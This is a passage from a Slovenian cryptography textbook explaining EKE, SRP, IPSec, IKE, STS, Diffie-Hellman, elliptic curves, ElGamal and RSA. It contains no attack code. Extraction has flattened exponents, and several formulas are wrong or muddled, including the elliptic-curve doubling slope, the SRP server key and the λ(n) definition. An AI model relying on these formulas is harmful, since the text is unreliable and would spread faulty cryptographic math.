obliki, obstaja pa tudi protokol Izboljšan EKE (Augmented EKE), pri katerem geslo takoj obdelamo z enosmerno funkcijo. Potek osnovnega protokola je sledeč: 1.Obe strani si delita geslo P, strinjata se glede simetričnega šifrirnega algoritma in parametrov grupe potrebnih za Diffie-Hellman izmenjavo ključa. Parametri so: ciklična grupa s praštevilom p in generatorjem g. 2. A s P šifrira javni ključ A (𝑔𝑥 𝑚𝑜𝑑 𝑝) in pošljem B: A, 𝑃(𝑔𝑥 𝑚𝑜𝑑 𝑝) - x je naključno generirano število, zasebni ključ A 3. B s P šifrira javni ključ B: 𝑃(𝑔𝑦 𝑚𝑜𝑑 𝑝) - y je naključno generirano število, zasebni ključ B. 4. B s P dešifrira (𝑔𝑥 𝑚𝑜𝑑 𝑝) in izračuna 𝐾 = (𝑔𝑥𝑦 𝑚𝑜𝑑 𝑝) 5. B pošlje A: 𝑃(𝑔𝑦 𝑚𝑜𝑑 𝑝), 𝐾(𝑁𝐵) - 𝑁𝐵 je nonce-a B 6. A s P dešifrira 𝑃(𝑔𝑦 𝑚𝑜𝑑 𝑝) in izračuna 𝐾 = (𝑔𝑦𝑥 𝑚𝑜𝑑 𝑝) 7. A s K šifrira K(𝑁𝐴, 𝑁𝐵) in to pošlje B 8. B s K dešifrira K(𝑁𝐴, 𝑁𝐵) in preveri 𝑁𝐵 9 B s K šifrira 𝐾(𝑁𝐴) in to pošlje A 10. A s K dešifrira 𝐾(𝑁𝐴) in preveri 𝑁𝐴. Če je 𝑁𝐴 prava overitev uspe. 10.5.4. SRP (Secure Remote Password protocol) SRP je nastal leta 1998 in ima glede na enako močno zaščito, kot jo imata Augmented EKE in B-SPEKE, precej večjo zmogljivost. Tako kot ostali overitveni protokoli na osnovi gesla, je namenjen predvsem za dostop uporabnika oziroma odjemalca do strežnika. Zato ne potrebuje Trent-a (Trusted Third Party), kot ga npr. Kerberos in je varnejši kot SSH (Secure Shell). SRP verzija 6 je med drugim uporabljen v SSL/TLS (Secure Socket Layer/Transport Layer Security), EAP (Extensible Authentication Protocol) ter SAML (Security Assertion Markup Language). Oznake elementov v protokolu so sledeče: N - veliko varno praštevilo (safe prime) določeno s 2q+1 ( q je praštevilo vrste Sophie Germain). Vse aritmetične operacije v protokolu se računajo po modulu N. g - je generator multiplikativne grupe k - je parameter, ki ga obe strani izračunata npr. s k = H(N, g) s - je dodatek geslu t.i. »sol« (salt), generiran naključno. I - uporabniško ime p - geslo v nešifrirani obliki H() - enosmerna funkcija (one-way function) u - naključen parameter a,b - skrivni, začasni vrednosti A,B - javno vidni začasni vrednosti x - zasebni ključ, ki je izpeljan iz p in s: x = H(s, p) v - parameter za preveritev gesla: 𝑣 = 𝑔𝑥 O - odjemalec, uporabnik G - gostitelj, strežnik. V bazi nato za vsakega uporabnika hrani {I, s, v} Potek protokola: 1. O pošlje G: I, 𝐴 = 𝑔𝑎 (uporabnik se identificira, »a« je naključno število) 2. G pošlje O: 𝑠, 𝐵 = 𝑘𝑣 + 𝑔𝑏 (uporabniku pošlje »sol«, b je nakjučno število) 3. O in G izračunata: u = H(A,B) 4. O izračuna: 𝑥 = 𝐻(𝑠, 𝑝) − 𝑢𝑝𝑜𝑟𝑎𝑏𝑛𝑖𝑘 𝑣𝑝𝑖š𝑒 𝑔𝑒𝑠𝑙𝑜; 𝑆 = (𝐵 − 𝑘𝑔𝑥)(𝑎+𝑢𝑥) − 𝑖𝑧𝑟𝑎č𝑢𝑛𝑎 𝑘𝑙𝑗𝑢č 𝑠𝑒𝑗𝑒, 𝐾 = 𝐻(𝑆) − 𝑚𝑜č𝑎𝑛 𝑘𝑙𝑗𝑢č 𝑠𝑒𝑗𝑒 𝑑𝑒𝑙𝑗𝑒𝑛 𝑧 𝐺 5. G izračuna: 𝑆 = (𝐴𝑣𝑢)𝑏 − 𝑡𝑢𝑑𝑖 𝑠𝑡𝑟𝑒ž𝑛𝑖𝑘 𝑖𝑧𝑟𝑎č𝑢𝑛𝑎 𝑆; 𝐾 = (𝐻, 𝑆) − 𝑡𝑢𝑑𝑖 𝑠𝑡𝑟𝑒ž𝑛𝑖𝑘 𝑖𝑧𝑟𝑎č𝑢𝑛𝑎 𝑚𝑜č𝑎𝑛 𝑘𝑙𝑗𝑢č 𝑠𝑒𝑗𝑒 𝑑𝑒𝑙𝑗𝑒𝑛 𝑧 𝑂 Zatem morata O in G drug drugemu dokazati, da se njuna ključa K ujemata: 1. O pošlje G: M = H(H(N) xor H(g), H(I), s, A, B, K) 2. G pošlje O: H(A, M, K) Obe strani pazita, da: 1. O prekine komunikacijo, če prejme: B ≡ 0 (mod N) ali u = 0 2. G prekine komunikacijo, če zazna, da: A ≡ 0 (mod N) 3. O mora G-ju prvi pokazati ključ K, če je nepravilen, G prekine komunikacijo in ne razkrije svojega ključa K. 10.6 IPSec IPSec predstavlja nabor protokolov na omrežnem nivoju TCP/IP protokola in omogoča overjanje (tudi vzajemno – mutual authentication) in šifriranje IP–paketov. AH (Authentication Header) je del IPSec in jamči overjanje izvora podatkov (data-origin authentication), integriteto IP glave paketa ter ščiti pred napadi s ponovnim pošiljanjem sporočil (replay attacks). Format AH je viden na sliki: Offset Octet 0 1 2 3 s 16 Octet 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 Bit10 0 1 2 3 4 5 6 7 8 9 16 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 0 0 Next Header Payload Len Reserved 4 32 Security Parameters Index (SPI) 8 64 Sequence Number C 96 Integrity Check Value (ICV) … … … Next Header (8 bits) Slika: Oblika IPSec AH glave paketa Če uporabljamo protokol IPv4 lahko z AH zaščitimo breme IP in polja v glavi IP datagrama, razen polj, ki se pri prenosu po medmrežju spreminjajo. Če uporabljamo nov IPv6 protokol, AH ščiti samega sebe, naslovne izbire (Destination Options)(ki ga ni na sliki) izza AH in IP breme, pa tudi IPv6 glavo in razširitve glav pred AH, razen polj, ki se med prenosom spreminjajo. Na sliki vidimo polja AH glave: SPI (Security Parameters Index) unikatno določa šifrirne algoritme, ki bodo uporabljeni pri overjanju paketa. Polje Sequence Number (zaporedno število) uporabljamo za preprečevanje napada s ponovnim pošiljanjem paketov, Integrity Check Value (vrednost za preverbo celovitosti) ICV služi za preveritev vrednosti, ki po potrebi tudi dopolni polja na 8 oktetov pri IPv6 oziroma 4 oktete pri IPv4. IPSec – ESP (Encapsulating Security Payload) je dodatna možna storitev, ki v IP paketu sledi za AH. Omogoča šifriranje vsebine, tako da če kdo prisluškuje povezavi, ne more razpoznati prenašanih sporočil. Na sliki so polja za ESP protokol, ki prav tako spada v nabor protokolov IPSec. Encapsulating Security Payload format Offset Octet 0 1 2 3 s 16 Octet 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 Bit10 0 1 2 3 4 5 6 7 8 9 16 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 0 0 Security Parameters Index (SPI) 4 32 Sequence Number C 96 Payload data … … … … … … Padding (0-255 octets) … … Pad Length Next Header … … Integrity Check Value (ICV) … … Slika: Oblika IPSec ESP dela v IP paketu Format ESP je sestavljen iz SPI, ki v tem primeru določa šifrirni algoritem, Sequence Number, ki ima isto funkcijo, kot pri AH, Payload Data (podatkovno breme) vsebuje šifrirano besedilo samo, različne dolžine, temu sledi dopolnjevanje, kazalec na naslednjo glavo in ponovno, kot pri AH, polje Integrity Check Value ICV, ki pa je tukaj izbirno, omogoča pa preverjanje celovitost poslanega, šifriranega besedila. SA (Security Association) je eden bistvenih pojmov v IPSec, definiran je s trojčkom: (SPI, IP ciljni naslov, Service Identifier (ki označuje ali overjanje ali ESP)). Če hočeta dve vozlišči uporabiti IPSec, se morata dogovoriti za eno (overitev) ali dve (overitev in tajnost (šifriranje)) SA. To dosežeta z IKE (Internet Key Exchange) protokolom. IKE vključuje šifriranje z javnim ključem, ustrezna teoretična podlaga zanj pa je tako imenovan STS (Station-To-Station) protokol. Za alternativo lahko IPSec za vzpostavitve ustreznih SA uporabi tudi simetrično šifriranje. V tem primeru izbere KINK (Kerberized Internet Negotiation of Keys). 10.7 IKE (Internet Key Exchange) protokol IKE protokol gradi na Oakley protokolu in ISAKMP (Internet Security Association and Key Management) protokolu ter uporablja Diffie-Hellman izmenjavo za vzpostavitev deljenega, skrivnega ključa za sejo. IKE je razdeljen v dve fazi, v prvi med entitetama vzpostavimo varen, overjen komunikacijski kanal za prenos sporočil. To izvedemo z Diffie-Hellman izmenjavo ključa. Rezultat je ena, dvosmerna ISAKMP SA. Prva faza lahko deluje V Glavnem načinu (Main Mode) ali Agresivnem načinu (Aggressive Mode). V drugi fazi IKE uporabi komunikacijski kanal iz prve faze za dogovor SA za IPSec. Rezultat sta najmanj dve enosmerni SA (ena za vstop – inbound, ena za navzven – outbound). Druga faza dela v Hitrem načinu (Quick Mode), ki je sestavljena z naslednjih korakov: 1. Računalnika z IPSec izmenjata zahteve glede zaščite prenašanih podatkov (vrsta IP protokola (AH ali ESP), hash algoritma (MD5, SHA-1), šifrirni algoritem, kadar se uporablja (3DES, DES, AES (IKEv2)). Če dogovor uspe se vzpostavita vhodna in izhodna SA. 2. Podatki ključa za sejo se osvežijo oziroma izmenjajo. Nastanejo novi deljeni, skrivni ključi za nadaljnjo šifriranje, overjanje in preverjanje celovitosti podatkov. 3. Ključi in SA-ji, skupaj s SPI (Security Parameter Index), se posredujejo IPSec gonilniku IKE v osnovi izvira iz leta 1998 in nima mehanizmov za delovanje preko NAT (Network Address Translation), podporo mobilnosti, podpore za internetno telefonijo, odpornosti na blokado delovanja (Denial-of-Service DoS napad). Zato je trenutno v uporabi protokol IKEv2, ki poleg ostalega vsebuje vse našteto. Osnovni IKE je vgrajen v operacijske sisteme Windows začenši z Windows 2000 ter razne Linux-e, omrežne naprave itd. 10.8 STS (Station-to-Station) protokol STS je šifrirni protokol za dogovor o šifrirnem ključu in nudi overitev entitet, z uporabo mehanizma Diffie-Hellman. Je tudi teoretična osnova za protokol IKE. Preden ga lahko uporabimo morata obe strani imeti svoj javno/zasebni par ključev za elektronsko podpisovanje. Izbrati morata tudi parametre s katerimi bosta nato tvorili ključ za sejo. Ti parametri so predvsem ciklična grupa p in njen generator g. Osnovni (Basic) STS postopek je sledeč: 1. Entiteta A generira naključno število x, izračuna 𝑔𝑥 in to pošlje entiteti B 2. Entiteta B generira naključno število y, izračuna 𝑔𝑦, šifrirni ključ seje K=(𝑔𝑥)𝑦 mod p, s svojim privatnim ključem elektronsko podpiše par (𝑔𝑦, 𝑔𝑥) - vrstni red je pomemben, šifrira elektronski podpis s ključem K in pošlje nazaj entiteti A 3. A izračuna K=(𝑔𝑦)𝑥 mod p in ima tako še ona ključ seje K, ne da bi se ključ K sam prenašal po omrežju, ki je lahko potencialno nevarno. Zatem s tem ključem dešifrira elektronski podpis B in ga preveri z B-jevim javnim ključem, da vidi, če je v njem dejansko par (𝑔𝑦, 𝑔𝑥). Potem A s svojim privatnim ključem elektronsko podpiše par (𝑔𝑥, 𝑔𝑦) - tudi tu je vrstni red pomemben, ter šifrira s K in pošlje B. 4. B dešifrira elektronski podpis in preveri, če je v njem res par (𝑔𝑥, 𝑔𝑦). Tako A in B vzpostavita skrivni ključ K s katerim lahko šifrirata nadaljnja sporočila, ki si jih izmenjujeta. Poleg Osnovnega (Basic) STS protokola imamo še variacije: Polni (Full) STS, kjer si A in B izmenjata še javna ključa za elektronski podpis (če si jih še nista), Samo-overitveni (Authentication-only) STS, pri katerem ne vzpostavita ključa K ter STS-MAC, kadar šifriranje ni izvedljivo. Kerberos TLS SSH EAP Tipični napadi na overitvene protokole Message Replay Man-in-the-Middle Paralell Session Attack Reflection Attack Interleaving Attack Attack Due to Type Flaw Attack Due to Name Omission Attack Due to Misuse of Cryptographic Services VIRI IN LITERATURA 11 Asimetrično šifriranje (asymmetric cryptography) 11.1 Uvod Asimetrično šifriranje oziroma šifriranje z javnim ključem je bilo neznano vse do sedemdesetih let 20- ega stoletja. Kot prvi so ga odkrili James H.Ellis, Clifford Cocks in Malcolm Williamson, zaposleni v angleški obveščevalni službi. Kot takšnega, ga je obveščevalna služba skrivala in uporabljala zgolj za svoje potrebe. Tako so ga nato leta 1977, kot prvi objavili Rivest, Shamir in Adleman, kot neodvisno in samostojno odkritje. Algoritem je po črkah njihovih priimkov, dobil ime RSA. RSA deluje na osnovi faktorizacije celih števil in na tako imenovanem RSA problemu. Leta 1976 sta Diffie in Hellman, pod vplivom Merkle-a odkrila izmenjavo ključev in šifriranje sporočil med dvema entitetama. Od takrat pa do danes je nastalo veliko število asimetričnih šifriranj, elektronskih podpisov, izmenjav ključev in drugih tehnik, ki spadajo k asimetričnem oziroma šifriranju z javnim ključem. Vse metode asimetričnih šifriranj so, tako ali drugače odvisne od (zelo) velikih praštevil in enosmernih funkcij (One-way Function). 11.2 Matematične osnove Za asimetrično šifriranje je najpomembnejša algebrska struktura končni komutativni obseg oziroma končno polje . Končno polje je definirano, kot: Končna množica ( O, +, ·) v kateri velja (za poljubne elemente a, b, c): 1. komutativnost za seštevanje: a + b = b + a 2. asociativnost za seštevanje: a + ( b + c) = ( a + b) + c 3. obstaja nevtralni element za seštevanje (označimo ga z oznako 0): a + 0 = 0 + a = a 4. poljubni element a ima nasprotni element − a, tako da velja: a + (− a) = (− a) + a = 0 5. komutativnost za množenje: a · b = b · a 6. asociativnost za množenje: a · ( b · c) = ( a · b) · c 7. distributivnost (z leve in z desne strani), ki povezuje seštevanje in množenje: a · ( b + c) = ( a · b) + ( a · c) ( a + b) · c = ( a · c) + ( b · c) 8. obstaja nevtralni element za množenje, ki ga označimo 1 (enota), in je različen od nevtralnega elementa za seštevanje (0): 1 · a = a · 1 = a 9. za vsak od 0 različen element a obstaja inverzni element a−1, tako da velja: a · a−1 = a−1 · a = 1 Posebej pomembna končna polja so tista, pri katerih je število elementov praštevilo, elementi so naravna števila, operaciji seštevanja in množenja, pa sta operaciji seštevanja in množenja po modularni aritmetiki. (a + b) mod n = ((a mod n) + (b mod n)) mod n (ab) mod n = ((a mod n)(b mod n)) Če je največji skupni delitelj nsd(a, n) = 1 in če velja a𝑎−1 mod n = 1 potem je 𝑎−1 inverzni element 11.3 Diskretni logaritem (Discrete Logarithm) Poleg RSA problema (uporabljen v RSA šifriranju), je diskretni logaritem druga pomembna osnova za asimetrične šifrirne algoritme (Diffie-Hellman, ElGamal, Eliptičnne krivulje,...) . Običajni logaritem loga(b) je, kot vemo rešitev enačbe 𝑎𝑥= b nad realnimi in kompleksnimi števili. Diskretni logaritem pa je je analogija običajnega nad končnimi, cikličnimi grupami. Če je G končna, multiplikativna, ciklična grupa z n elementi in je g generator grupe, potem za vsak element a v G velja, da je k = 𝑙𝑜𝑔𝑔 𝑎 rešitev enačbe 𝑔𝑘 = 𝑎. Za rešitev k velja, da je kongruentna po modulu n. Logaritem preslika vsak element grupe a v kongruenčni razred k po modulu n v kolobar naravnih števil. Za ta logaritem zaenkrat še nimamo algoritma, ki bi ga izračunal v polinomskem času, problem je težek. Medtem pa je diskretno potenciranje lahek problem, to je, izvedljivo v polinomskem času. 11.4 Diffie-Helmann izmenjava ključa To šifriranje omogoča, da se dve entiteti, ki se predtem ne poznata, varno dogovorita za ključ. Ta ključ lahko v nadaljevanju uporabita, za šifriranje s katerim od simetričnih algoritmov (ki so mnogo bolj učinkoviti) na primer AES, 3DES, ... Diffie-Hellman temelji na diskretnem logaritmu. Originalna, najenostavnejša implementacija temelji na multiplikativni grupi naravnih števil po modulu p, ki je praštevilo večje od 2300 in g, ki je primitivni koren (primitive root) po modulu p. Ta implementacija poteka tako: 1. Entiteta A izbere svoj zasebni ključ a (med 1 in p-1) in izračuna A =𝑔𝑎 mod p 2. Entiteta A pošlje entiteti B: A, g, p, ki predstavljajo javni ključ entitete A 3. Entiteta B izbere svoj zasebni ključ b (med 1 in p-1) in izračuna B = 𝑔𝑏 mod p 4. Entiteta B pošlje entiteti A: B 5. Entiteta A izračuna ključ K = 𝐵𝑎 mod p 6. Entiteta B izračuna ključ K = 𝐴𝑏 mod p 7. Ključ K je za obe entiteti enak, ker velja 𝑔𝑎𝑏 = 𝑔𝑏𝑎 Takšna osnovna izmenjava ključev ima pomanjkljivost, da je podvržena tako imenovanemu posredniškemu (Man-in-the-Middle) napadu. Zato ga običajno uporabljamo ob ustrezni avtentikacijski shemi. 11.5 Eliptične krivulje Eliptične funkcije E (ki jih uporabljamo pri šifriranju) so oblike 𝑦2 = 𝑥3 + 𝑎𝑥 + 𝑏 skupaj z izbrano točko v neskončnosti O , točko 0 . kjer diskriminanta ∆ = -16(4𝑎3 + 27𝑏2) ≠ 0 Eliptične krivulje so pravzaprav Abelovi tipi (Abelian Variety) – zato imajo algebrajično definirano multiplikacijo, kar jih določa za Abelove grupe. Vpeljemo operacijo grupe '+' tako, da velja: P + Q + R = O ali P + Q + Q = O ali P + P + O = O. Pri tem je točka O element identitete (to je že omenjena točka v neskončnosti (x,∞), če krivuljo narišemo). Operacija deluje v splošnem tako, da če na krivulji izberemo dve točki npr. P in Q ter ju povežemo z linijo, ta preseče krivuljo še v točki R. Geometrični seštevek teh treh točk, da točko nič. Poleg tega lahko imamo še tri variacije tega primera: 1. Če je linija v točki Q tangenta na krivuljo, je Q dvojna točka ( Q in R hkrati). 2. Če imata točki P in Q isto absciso točko R predstavlja točka v neskončnosti O. 3. Če pa imata točki P in Q ordinatno vrednost 0, je P dvojna točka (ki predstavlja hkrati P in Q), točko R pa predstavlja točka O Slika 1: Operacije seštevanja treh točk na eliptični krivulji Ta operacija ('+') pretvori eliptično krivuljo v Abelovo grupo, pri kateri točka O predstavlja element identitete. Takšne grupe je mogoče opisati, tako geometrično, kot algebrajično. Algebrajičen način izračuna točke 𝑅(𝑥𝑟, 𝑦𝑟) iz točk P(𝑥𝑝, 𝑦𝑝) 𝑖𝑛 𝑄(𝑥𝑞, 𝑦𝑞) R = P + Q = ( xR, − yR) je v primeru, da 𝑥𝑝 ≠ 𝑥𝑞 sledeč: naklon je: λ = (𝑦𝑝 − 𝑦𝑞)⁄(𝑥𝑝 − 𝑥𝑞) in 𝑥𝑟 = 𝜆2 − 𝑥𝑝 − 𝑥𝑞 ter 𝑦𝑟 = 𝑦𝑝 + 𝜆(𝑥𝑟 − 𝑥𝑝) V primeru pa, da je 𝑥𝑝 = 𝑥𝑞, imamo dve možnosti: Če velja: 𝑦𝑝 = −𝑦𝑞 vključno z 𝑦𝑝 = 𝑦𝑞 = 0 , potem je vsota enaka 0 Če pa velja yP = yQ ≠ 0 potem R = P + P = 2 P = ( xR, −yR) in izračunamo: λ = ((3𝑥𝑝 − 𝑝)/(2𝑦𝑝) 𝑥𝑟 = λ2 − 2𝑥𝑝 ter 𝑦𝑟 = 𝑦𝑝 + λ(xr − xp) Pokazati je mogoče, da množica K - racionalnih točk tvori podskupino te grupe. Če eliptično krivuljo označimo z E, podskupino označimo z E(K). Eliptične krivulje so definirane, tako na kompleksnih, kot tudi realnih, racionalnih in celoštevilčnih poljih . Kadar se odločimo za šifriranje z eliptičnimi krivuljami (oziroma na njih ležečimi končnimi polji), se morajo entitete, ki sodelujejo v takem sistemu, sporazumeti o domenskih parametrih sheme. Izbrati moramo dovolj veliko praštevilo p, ki predstavlja število elementov v končnem polju, katerega elementi ležijo na eliptični krivulji z ustreznima koeficientoma a in b. Nato moramo definirati ciklično podgrupo na osnovi njenega posebnega elementa grupe, generatorja G, pri tem je n praštevilo takšno, da je nG = O. To praštevilo n je velikost podgrupe E(Fp) iz česar nato sledi . Pri tem h predstavlja kofaktor, ki ne sme biti večji od 4 (po možnosti naj bo 1). Tako moramo pred uporabo izbrati ( p, a, b, G, n, h), ki predstavljajo domenske parametre. Običajno jih izberemo iz predpripravljenih seznamov, objavljenih na spletu (NIST, SECG, ...). Če kljub temu želimo izračunati svoje lastne, moramo izbrati ustrezno končno polje, nato pa moramo izbrati strategijo, s katero najdemo eliptično krivuljo, ki ima število točk, blizu praštevilu našega polja (ki predstavlja število elementov v njem). Do števila točk, pridemo z : 1. S Shoof-ovim ali Schoof-Elkies-Atkin-ovim algoritmom 2. S Koblitzov-imi krivuljami (omogočajo enostavni izračun števila točk) 3. Izberemo število točk in s tehniko kompleksnega množenja generiramo ustrezno eliptično krivuljo. Pri tem moramo izločiti več razredov krivulj, ker so ranljive. Najhitrejši algoritmi za rešitev diskretnega logaritma na osnovi eliptičnih krivulj so ranga kvadratnega korena na potenco. Tako, da dobimo 128 bitno varnost s poljem 𝐹𝑞, mora biti 𝑞 ≈ 2256. Če to primerjamo s RSA šifriranjem, pridemo do rezultata, da moramo za ekvivalentno varnost pri slednjem uporabiti 3072 bitna ključa. 11.6 Diffie-Helmann z eliptičnimi krivuljami Dve entiteti, ki imata v posesti iste domenske parametre ter izbran javni in zasebni ključ, lahko vzpostavita skupen skrivni ključ, ki ga uporabita za nadaljnjo šifrirano komunikacijo s simetričnim algoritmom (npr. AES, 3DES ...). Javni ključ je točka na krivulji, zasebni pa naključno število (manjše od n). Javni ključ izračunamo, tako da pomnožimo točko G na krivulji (generator grupe) z zasebnim ključem. 1. Entiteti A in B se dogovorita za domenske parametre ( p, a, b, G, n,h) 2. Entiteta A izbere svoj zasebni ključ 𝑑𝐴 (naključno celo število med 1 in n – 1) in javni ključ 𝑄𝐴 (za katerega velja 𝑄𝐴 = 𝑑𝐴 G) 3. Enako izbere entiteta B, ključa 𝑑𝐵 in 𝑄𝐵 4. Entiteti si morata izmenjati svoja javna ključa 5. Entiteta A izračuna (𝑥𝑘, 𝑦𝑘) = 𝑑𝐴𝑄𝐵 6. Entiteta B izračuna k = 𝑑𝐵𝑄𝐴 7. Skrivni ključ je 𝑥𝑘 (x koordinata točke) Obe entiteti izračunata isti ključ, saj velja: 𝑑𝐴𝑄𝐵 = 𝑑𝐴𝑑𝐵𝐺 = 𝑑𝐵𝑑𝐴𝐺 = 𝑑𝐵𝑄𝐴 11.7 Elgamal šifriranje To šifriranje je opisal Taher ElGamal leta 1985. ElGamal šifriranje z javnim ključem tudi temelji na Diffie-Hellman izmenjavi ključa. ElGamal šifriranje lahko definiramo na poljubni ciklični grupi G. Prednost ElGamal pred Diffie-Hellman je v tem, da ElGamal poleg izmenjave ključa, omogoča tudi prenos šifriranih sporočil (podobno, kot RSA). Sam postopek je sledeč : 1. Generiranje ključa: 1.1. Izberemo (veliko) naključno praštevilo p 1.2. Izračunamo multiplikativen generator g iz polja p elementov (to je element, s katerim lahko preko potenciranja dosežemo vsak element v polju) 1.3. Iz množice elementov med 0 in p-1 naključno izberemo element x, ki predstavlja zasebni ključ Entitete A. 1.4. Izračunamo y - javni ključ Entitete A iz: y=𝑔𝑥 mod p 1.5. Entiteta A objavi svoj javni ključ ( y, g, p), element x pa shrani, kot svoj zasebni ključ. 2. Šifriranje: če hoče Entiteta B poslati Entiteti A šifrirano sporočilo m < p: 2.1. Naključno izbere ključ k iz množice elementov med 0 in p-1 2.2. Izračuna: 𝑐1 = 𝑔𝑘 𝑚𝑜𝑑 𝑝 2.3. Izračuna: 𝑐2 = 𝑦𝑘𝑚 𝑚𝑜𝑑 𝑝 2.4. Pošlje Entiteti A: (𝑐1, 𝑐2) 3. Dešifriranje: Entiteta A lahko dešifrira sporočilo, ki ji je ga poslala B tako: 3.1 . m = 𝑐 𝑥 2 /𝑐1 mod p 𝑝−𝑥 3.2. Lažje izračunamo z m = 𝑐2𝑐1 mod p Težavnost šifriranja je prav tako, kot pri Diffie-Hellman, rešitev diskretnega logaritma. Tudi tu moramo v praksi uporabiti ustrezno dopolnjevanje (padding), sicer je algoritem ranljiv (npr. pred napadom z izbranim šifriranim sporočilom – chosen ciphertext attack). 11.8.RSA RSA algoritem za šifriranje z javnim ključem so, kot smo v uvodu navedli, najprej odkrili v angleški obveščevalni službi leta 1973. Ta ga ni razkrila, dokler ga niso (ponovno) odkrili Rivest, Shamir in Adleman leta 1977. Algoritem temelji na produktu dveh (velikih) praštevil. Po današnjih postopkih takega produkta še vedno ne znamo faktorizirat v polinomskem času. Aritmetika po modulu je matematična osnova za šifrirno metodo RSA . 11.8.1 Generiranje ključev za RSA Za RSA potrebujemo par ključev od katerih je eden, ki je javen in ga lahko poznajo vsi (še dobro je, če ga poznajo vsi) in zasebnega, privatnega, ki ga sme poznati, imeti le lastnik. Postopek kreiranja javnega in zasebnega ključa, je naslednji : 1. Poiščemo dve dovolj veliki (npr. 2048 bitni) praštevili p in q 2. Ti dve praštevili zmnožimo in dobimo n = pq ( n je modul, tako za javni, kot tudi zasebni ključ). 3. Nato izračunamo, koliko števil z n nima skupnega faktorja večjega od 1 torej so relativna praštevila. V našem primeru je to φ(pq) = (p-1)(q-1) 4. V nadaljevanju izberemo naravno število e večje od 1 in manjše od φ(pq) in sta z φ(pq) relativni praštevili. To število skupaj z n predstavlja javni ključ in zaradi varnosti ne sme biti premajhno. 5. S pomočjo modularne aritmetike razrešimo kongruenčno relacijo de ≡ 1 (mod φ(pq)). Z drugimi besedami: ed – 1 je sodo deljivo z (p-1)(q-1). To je rešljivo z razširjenim Evklidovim algoritmom (extended Euclidean algorithm). Tako nato število d, ki mora ostati tajno, skupaj z n pri RSA šifriranju predstavlja zasebni ključ. Namesto φ(pq) največji skupni delitelj lahko uporabimo λ (n) = nsd(p-1, q-1) najmanjši skupni večkratnik 11.8.2 Šifriranje in dešifriranje z RSA Ko imamo enkrat javni in privatni ključ, šifriranje poteka tako : Entiteta B, ki želi poslati šifrirano sporočilo Entiteti A, potrebuje njen javni ključ (n, e). Svoje sporočilo S preko dogovorjenega dopolnjevanja (Padding Schemes), pretvori v naravno število 0 < s < n in spremeni v šifrirano sporočilo š: 𝑠𝑒 ≡ š (mod n) Entiteta A prejme šifrirano sporočilo š in ga s svojim zasebnim ključem (d, n) dešifrira nazaj v s in iz s z obratom dopolnjevanja v S: š𝑑 ≡ s (mod n) PKSC#1 je prvi standard za RSA šifriranje. Definira matematične definicije in lastnosti javnega in privatnega ključa, kot so jih določili v podjetju RSA Laboratories Dopolnjevanje (Padding Schemes) je potrebno zato, da se izognemo varnostnim pomanjkljivostim, ki obstajajo v RSA šifriranju, kot je podano v osnovi. Ključi morajo biti dolgi najmanj1024 bitov, kar je trenutno (2010) še varno (pa kmalu ne bo več). Za nove projekte je zato priporočljivo uporabiti 2048 ali 4096 bitne ključe. Zavedati pa se moramo, da zato šifriranje in dešifriranje traja dalj časa. 11.8.3 Razdeljevanje ključev Distribucijo ključev moramo zavarovati pred »posredniškimi« napadi (Man-in-the-Middle). Pred tem se večinoma ščitimo z elektronskimi certifikati (digital certificates) in drugimi gradniki infrastrukture javnih ključev (PKI – Public Key Infrastructure) . 11.9 Sklep Asimetrično šifriranje je zelo pomembno in njegova uporaba se naglo širi, saj je brez šifriranja (zelo pomembna so tudi druga področja šifriranja, npr. simetrično, zgoščevalne funkcije, overitve...) nemogoče omogočiti tajnost in celovitost podatkov, tako v omrežjih kot neposredno na računalniku. To je posebej pomembno v današnjem (in prihodnjem) časa, ko je tako veliko brezžičnih komunikacij, ki jim je lahko prisluškovati. Izzivov je več, asimetrično šifriranje računsko zahtevno – trenutno je najbolj učinkovit Diffie-Helman z eliptičnimi krivuljami – izboljšati je torej treba časovno zahtevnost, v algoritmih so lahko napake, ki jih raziskujejo kripto analitiki, če jih najdejo, je treba algoritem popraviti ali zamenjati. Zato je potrebno šifriranje stalno izpopolnjevati. Vse večji izziv je tudi kvantno šifriranje (npr. vsi v prispevku opisani algoritmi so ranljivi na Shor-ov kvantni algoritem, k sreči je do izdelave dovolj zmogljivega kvantnega računalnika še daleč). Pri implementaciji šifrirnih algoritmov v praksi, je treba upoštevati več situacij, ki jih lahko napadalec izkoristi in tako odkrije vsebino in/ali šifrirni ključ . 11.10 Viri in literatura Wenbo Mao, Modern Cryptography, Hewlett-Packard Company, 2004 http://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange, 2011. http://en.wikipedia.org/wiki/Elliptic_curve_cryptography, 2011 http://en.wikipedia.org/wiki/RSA, 2011. http://en.wikipedia.org/wiki/ElGamal_encryption, 2011. http://en.wikipedia.org/wiki/Public_key_infrastructure, 2011. http://en.wikipedia.org/wiki/RSA_problem, 2011. http://en.wikipedia.org/wiki/Discrete_logarithm, 2011 http://en.wikipedia.org/wiki/Elliptic_curve, 2011. 12 Simetrični šifrirni algoritmi 12.1 Uvod Obstajata dve glavni vrsti simetričnih šifrirnih algoritmov in sicer Blokovno šifriranje (block cipher) in Tokovno šifriranje(stream cipher).V tem prispevku bomo predstavili predvsem blokovne šifrirne algoritme. Blokovno šifriranje šifrira sporočilo tako, da razdeli sporočilo na enako velike bloke in šifrira blok po blok. Medtem ko Tokovno šifriranje šifrira sproti znak po znak (oziroma točneje bit po bit). Zgodovina šifriranja je dolga, zelo znano je, da je šifriranje uporabljal že Julij Cezar, torej obstaja že več, kot 2000 let. Ogledali si bomo več klasičnih algoritmov, nato pa nekaj zelo pomembnih Blokovnih simetričnih šifrirnih algoritmov, kot so: DES, TripleDES in AES. Slednji je tudi najbolj perspektiven blokovni šifrirni algoritem. Nazadnje bomo navedli nekaj Načinov operacij, s katerimi upravljamo s posameznimi bloki sporočila. 12.2 Klasične šifrirne metode 12.2.1 Zamenjava znakov (Substitution Cipher) 1.Preprosto šifriranje z zamenjavo znakov (Simple Substitution Ciphers) Pri tej metodi preprosto posamezni znak zamenjamo z točno določenim drugim znakom (bijektivno preslikavo) . Na primer šifriranje cifer (cifre smo izbrali zgolj za ilustracijo, da ne pišemo vseh 25 črk in primera njihove zamenjave): 0 1 2 3 4 5 6 7 8 9 3 7 0 9 1 8 2 5 4 6 S to metodo se tako število 45600 